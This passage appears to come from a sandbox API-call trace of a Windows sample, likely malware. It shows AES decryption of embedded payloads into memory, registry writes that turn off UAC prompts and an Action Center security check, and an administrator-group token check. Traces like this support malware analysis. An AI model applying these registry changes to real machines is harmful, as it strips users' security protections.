pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemFree (pv=0x1b2c0e80) [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemFree (pv=0x1b2c0e80) [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.400] CoTaskMemFree (pv=0x1b2c0e80) [0147.400] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0f40 [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemFree (pv=0x1b2c0f40) [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemFree (pv=0x1b2c0e80) [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemFree (pv=0x1b2c0e80) [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemFree (pv=0x1b2c0e80) [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0f40 [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemFree (pv=0x1b2c0f40) [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.401] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.401] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemFree (pv=0x1b2c0e80) [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0f40 [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemFree (pv=0x1b2c0f40) [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemFree (pv=0x1b2c0e80) [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0f40 [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0f40, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemFree (pv=0x1b2c0f40) [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.402] CoTaskMemFree (pv=0x1b2c0e80) [0147.402] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemFree (pv=0x1b2c0e80) [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemFree (pv=0x1b2c0e80) [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemFree (pv=0x1b2c0e80) [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemFree (pv=0x1b2c0e80) [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.403] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.403] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.404] CoTaskMemFree (pv=0x1b2c0e80) [0147.404] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 1 [0147.404] CoTaskMemAlloc (cb=0x20) returned 0x1b2c0e80 [0147.404] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x1b2c0e80, pdwDataLen=0x1b0bbaf0) returned 1 [0147.404] CoTaskMemFree (pv=0x1b2c0e80) [0147.404] CryptGetProvParam (in: hProv=0x4f05a0, dwParam=0x1, pbData=0x0, pdwDataLen=0x1b0bbaf0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x1b0bbaf0) returned 0 [0147.406] CryptImportKey (in: hProv=0x4f05a0, pbData=0x25efcc8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bbac0 | out: phKey=0x1b0bbac0*=0x4ce140) returned 1 [0147.407] CryptContextAddRef (hProv=0x4f05a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.408] CryptContextAddRef (hProv=0x4f05a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.408] CryptDuplicateKey (in: hKey=0x4ce140, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bbab0 | out: phKey=0x1b0bbab0*=0x4ceca0) returned 1 [0147.409] CryptContextAddRef (hProv=0x4f05a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.409] CryptSetKeyParam (hKey=0x4ceca0, dwParam=0x4, pbData=0x25efe10*=0x1, dwFlags=0x0) returned 1 [0147.409] CryptSetKeyParam (hKey=0x4ceca0, dwParam=0x1, pbData=0x25efdc0, dwFlags=0x0) returned 1 [0147.410] CryptDestroyKey (hKey=0x4ce140) returned 1 [0147.410] CryptReleaseContext (hProv=0x4f05a0, dwFlags=0x0) returned 1 [0147.410] CryptReleaseContext (hProv=0x4f05a0, dwFlags=0x0) returned 1 [0147.411] CryptDecrypt (in: hKey=0x4ceca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25efe30, pdwDataLen=0x1b0bbc10 | out: pbData=0x25efe30, pdwDataLen=0x1b0bbc10) returned 1 [0147.416] CryptDecrypt (in: hKey=0x4ceca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25f05d8, pdwDataLen=0x1b0bbc00 | out: pbData=0x25f05d8, pdwDataLen=0x1b0bbc00) returned 0 [0147.564] CryptDestroyKey (hKey=0x4ceca0) returned 1 [0147.564] CryptReleaseContext (hProv=0x4f05a0, dwFlags=0x0) returned 1 [0147.564] CryptReleaseContext (hProv=0x4f05a0, dwFlags=0x0) returned 1 [0147.670] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x2fc [0147.670] memcpy (in: _Dst=0x650000, _Src=0x2604e00, _Size=0x1000 | out: _Dst=0x650000) returned 0x650000 [0147.700] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14e00, lpName=0x0) returned 0x2fc [0147.701] memcpy (in: _Dst=0x660000, _Src=0x12809078, _Size=0x14e00 | out: _Dst=0x660000) returned 0x660000 [0147.789] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1000, lpName=0x0) returned 0x3c8 [0147.789] memcpy (in: _Dst=0x690000, _Src=0x2611408, _Size=0x1000 | out: _Dst=0x690000) returned 0x690000 [0147.796] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a00, lpName=0x0) returned 0x3c8 [0147.796] memcpy (in: _Dst=0x6a0000, _Src=0x26152a0, _Size=0x9a00 | out: _Dst=0x6a0000) returned 0x6a0000 [0147.865] CryptAcquireContextW (in: phProv=0x1b0bb7a8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bb7a8*=0x4effa0) returned 1 [0147.866] CryptImportKey (in: hProv=0x4effa0, pbData=0x2621548*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bb730 | out: phKey=0x1b0bb730*=0x4ceca0) returned 1 [0147.866] CryptContextAddRef (hProv=0x4effa0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.866] CryptContextAddRef (hProv=0x4effa0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.866] CryptDuplicateKey (in: hKey=0x4ceca0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bb720 | out: phKey=0x1b0bb720*=0x4ce140) returned 1 [0147.866] CryptContextAddRef (hProv=0x4effa0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0147.866] CryptSetKeyParam (hKey=0x4ce140, dwParam=0x4, pbData=0x2621668*=0x1, dwFlags=0x0) returned 1 [0147.866] CryptSetKeyParam (hKey=0x4ce140, dwParam=0x1, pbData=0x2621618, dwFlags=0x0) returned 1 [0147.866] CryptDestroyKey (hKey=0x4ceca0) returned 1 [0147.866] CryptReleaseContext (hProv=0x4effa0, dwFlags=0x0) returned 1 [0147.866] CryptReleaseContext (hProv=0x4effa0, dwFlags=0x0) returned 1 [0147.866] CryptDecrypt (in: hKey=0x4ce140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2621688, pdwDataLen=0x1b0bb880 | out: pbData=0x2621688, pdwDataLen=0x1b0bb880) returned 1 [0147.866] CryptDecrypt (in: hKey=0x4ce140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2621c38, pdwDataLen=0x1b0bb870 | out: pbData=0x2621c38, pdwDataLen=0x1b0bb870) returned 0 [0148.012] CryptDestroyKey (hKey=0x4ce140) returned 1 [0148.012] CryptReleaseContext (hProv=0x4effa0, dwFlags=0x0) returned 1 [0148.012] CryptReleaseContext (hProv=0x4effa0, dwFlags=0x0) returned 1 [0148.028] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10200, lpName=0x0) returned 0x3c8 [0148.029] memcpy (in: _Dst=0x21d0000, _Src=0x262ef68, _Size=0x10200 | out: _Dst=0x21d0000) returned 0x21d0000 [0148.145] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x3d0 [0148.145] memcpy (in: _Dst=0x21f0000, _Src=0x26451c8, _Size=0xe00 | out: _Dst=0x21f0000) returned 0x21f0000 [0148.215] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4200, lpName=0x0) returned 0x3e4 [0148.215] memcpy (in: _Dst=0x2220000, _Src=0x26488b0, _Size=0x4200 | out: _Dst=0x2220000) returned 0x2220000 [0148.422] CryptAcquireContextW (in: phProv=0x1b0bc2e8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bc2e8*=0x4ef7a0) returned 1 [0148.423] CryptImportKey (in: hProv=0x4ef7a0, pbData=0x264efe8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bc270 | out: phKey=0x1b0bc270*=0x4ce140) returned 1 [0148.423] CryptContextAddRef (hProv=0x4ef7a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0148.423] CryptContextAddRef (hProv=0x4ef7a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0148.423] CryptDuplicateKey (in: hKey=0x4ce140, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bc260 | out: phKey=0x1b0bc260*=0x4ceca0) returned 1 [0148.423] CryptContextAddRef (hProv=0x4ef7a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0148.423] CryptSetKeyParam (hKey=0x4ceca0, dwParam=0x4, pbData=0x264f108*=0x1, dwFlags=0x0) returned 1 [0148.423] CryptSetKeyParam (hKey=0x4ceca0, dwParam=0x1, pbData=0x264f0b8, dwFlags=0x0) returned 1 [0148.423] CryptDestroyKey (hKey=0x4ce140) returned 1 [0148.423] CryptReleaseContext (hProv=0x4ef7a0, dwFlags=0x0) returned 1 [0148.423] CryptReleaseContext (hProv=0x4ef7a0, dwFlags=0x0) returned 1 [0148.423] CryptDecrypt (in: hKey=0x4ceca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x264f128, pdwDataLen=0x1b0bc3c0 | out: pbData=0x264f128, pdwDataLen=0x1b0bc3c0) returned 1 [0148.424] CryptDecrypt (in: hKey=0x4ceca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x264f430, pdwDataLen=0x1b0bc3b0 | out: pbData=0x264f430, pdwDataLen=0x1b0bc3b0) returned 0 [0148.648] CryptDestroyKey (hKey=0x4ceca0) returned 1 [0148.648] CryptReleaseContext (hProv=0x4ef7a0, dwFlags=0x0) returned 1 [0148.648] CryptReleaseContext (hProv=0x4ef7a0, dwFlags=0x0) returned 1 [0148.659] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b0bd6e8 | out: phkResult=0x1b0bd6e8*=0x3e4) returned 0x0 [0148.660] RegQueryValueExW (in: hKey=0x3e4, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x1b0bd7f8, lpData=0x0, lpcbData=0x1b0bd7f0*=0x0 | out: lpType=0x1b0bd7f8*=0x4, lpData=0x0, lpcbData=0x1b0bd7f0*=0x4) returned 0x0 [0148.661] RegSetValueExW (in: hKey=0x3e4, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x1b0bd858*=0x0, cbData=0x4 | out: lpData=0x1b0bd858*=0x0) returned 0x0 [0148.662] RegCloseKey (hKey=0x3e4) returned 0x0 [0148.662] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b0bd6e8 | out: phkResult=0x1b0bd6e8*=0x3e4) returned 0x0 [0148.662] RegQueryValueExW (in: hKey=0x3e4, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x1b0bd7f8, lpData=0x0, lpcbData=0x1b0bd7f0*=0x0 | out: lpType=0x1b0bd7f8*=0x4, lpData=0x0, lpcbData=0x1b0bd7f0*=0x4) returned 0x0 [0148.662] RegSetValueExW (in: hKey=0x3e4, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x1b0bd858*=0x0, cbData=0x4 | out: lpData=0x1b0bd858*=0x0) returned 0x0 [0148.663] RegCloseKey (hKey=0x3e4) returned 0x0 [0148.663] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b0bd6e8 | out: phkResult=0x1b0bd6e8*=0x3e4) returned 0x0 [0148.663] RegQueryValueExW (in: hKey=0x3e4, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x1b0bd7f8, lpData=0x0, lpcbData=0x1b0bd7f0*=0x0 | out: lpType=0x1b0bd7f8*=0x4, lpData=0x0, lpcbData=0x1b0bd7f0*=0x4) returned 0x0 [0148.663] RegSetValueExW (in: hKey=0x3e4, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x1b0bd858*=0x0, cbData=0x4 | out: lpData=0x1b0bd858*=0x0) returned 0x0 [0148.663] RegCloseKey (hKey=0x3e4) returned 0x0 [0148.725] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b0bd6e8 | out: phkResult=0x1b0bd6e8*=0x3e4) returned 0x0 [0148.725] RegQueryValueExW (in: hKey=0x3e4, lpValueName="CheckSetting", lpReserved=0x0, lpType=0x1b0bd7f8, lpData=0x0, lpcbData=0x1b0bd7f0*=0x0 | out: lpType=0x1b0bd7f8*=0x3, lpData=0x0, lpcbData=0x1b0bd7f0*=0x24) returned 0x0 [0148.725] RegSetValueExW (in: hKey=0x3e4, lpValueName="CheckSetting", Reserved=0x0, dwType=0x3, lpData=0x265c518*, cbData=0x24 | out: lpData=0x265c518*) returned 0x0 [0148.726] RegCloseKey (hKey=0x3e4) returned 0x0 [0148.727] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x3e4 [0148.727] memcpy (in: _Dst=0x2200000, _Src=0x265db08, _Size=0x5600 | out: _Dst=0x2200000) returned 0x2200000 [0148.794] GetCurrentProcess () returned 0xffffffffffffffff [0148.794] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b0bd7b8 | out: TokenHandle=0x1b0bd7b8*=0x3ec) returned 1 [0148.798] GetTokenInformation (in: TokenHandle=0x3ec, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b0bd818 | out: TokenInformation=0x0, ReturnLength=0x1b0bd818) returned 0 [0148.799] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x4fc070 [0148.799] GetTokenInformation (in: TokenHandle=0x3ec, TokenInformationClass=0x8, TokenInformation=0x4fc070, TokenInformationLength=0x4, ReturnLength=0x1b0bd818 | out: TokenInformation=0x4fc070, ReturnLength=0x1b0bd818) returned 1 [0148.799] LocalFree (hMem=0x4fc070) returned 0x0 [0148.800] DuplicateTokenEx (in: hExistingToken=0x3ec, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b0bd878 | out: phNewToken=0x1b0bd878*=0x3f0) returned 1 [0148.801] CheckTokenMembership (in: TokenHandle=0x3f0, SidToCheck=0x2666728*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b0bd880 | out: IsMember=0x1b0bd880) returned 1 [0148.801] CloseHandle (hObject=0x3f0) returned 1 [0148.801] CloseHandle (hObject=0x3ec) returned 1 [0148.802] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1600, lpName=0x0) returned 0x3ec [0148.803] memcpy (in: _Dst=0x2210000, _Src=0x2667940, _Size=0x1600 | out: _Dst=0x2210000) returned 0x2210000 [0148.896] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb400, lpName=0x0) returned 0x3ec [0148.896] memcpy (in: _Dst=0x2230000, _Src=0x2670670, _Size=0xb400 | out: _Dst=0x2230000) returned 0x2230000 [0149.155] CryptAcquireContextW (in: phProv=0x1b0bba28, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bba28*=0x4f06a0) returned 1 [0149.155] CryptImportKey (in: hProv=0x4f06a0, pbData=0x2686fd8*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bb9b0 | out: phKey=0x1b0bb9b0*=0x4ceca0) returned 1 [0149.155] CryptContextAddRef (hProv=0x4f06a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0149.155] CryptContextAddRef (hProv=0x4f06a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0149.156] CryptDuplicateKey (in: hKey=0x4ceca0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1b0bb9a0 | out: phKey=0x1b0bb9a0*=0x4ce140) returned 1 [0149.156] CryptContextAddRef (hProv=0x4f06a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0149.156] CryptSetKeyParam (hKey=0x4ce140, dwParam=0x4, pbData=0x26870f8*=0x1, dwFlags=0x0) returned 1 [0149.156] CryptSetKeyParam (hKey=0x4ce140, dwParam=0x1, pbData=0x26870a8, dwFlags=0x0) returned 1 [0149.156] CryptDestroyKey (hKey=0x4ceca0) returned 1 [0149.156] CryptReleaseContext (hProv=0x4f06a0, dwFlags=0x0) returned 1 [0149.156] CryptReleaseContext (hProv=0x4f06a0, dwFlags=0x0) returned 1 [0149.156] CryptDecrypt (in: hKey=0x4ce140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2687118, pdwDataLen=0x1b0bbb00 | out: pbData=0x2687118, pdwDataLen=0x1b0bbb00) returned 1 [0149.156] CryptDecrypt (in: hKey=0x4ce140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2688140, pdwDataLen=0x1b0bbaf0 | out: pbData=0x2688140, pdwDataLen=0x1b0bbaf0) returned 0 [0149.438] CryptDestroyKey (hKey=0x4ce140) returned 1 [0149.438] CryptReleaseContext (hProv=0x4f06a0, dwFlags=0x0) returned 1 [0149.438] CryptReleaseContext (hProv=0x4f06a0, dwFlags=0x0) returned 1 [0149.456] GetACP () returned 0x4e4 [0149.650] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5600, lpName=0x0) returned 0x414 [0149.650] memcpy (in: _Dst=0x2260000, _Src=0x26a1ba8, _Size=0x5600 | out: _Dst=0x2260000) returned 0x2260000 [0149.773] CryptAcquireContextW (in: phProv=0x1b0bbbe8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b0bbbe8*=0x1b2f1690) returned 1 [0149.774] CryptImportKey (in: hProv=0x1b2f1690, pbData=0x26aa910*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x1b0bbb70 | out: phKey=0x1b0bbb70*=0x1b2e86d0) returned 1 [0149.774] CryptContextAddRef (hProv=0x1b2f1690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0149.774] CryptContextAddRef (hProv=0x1b2f1690, pdwReserved=0x0, dwFlags=0x0) returned 1 [0149.774] CryptDuplicateKey (in: 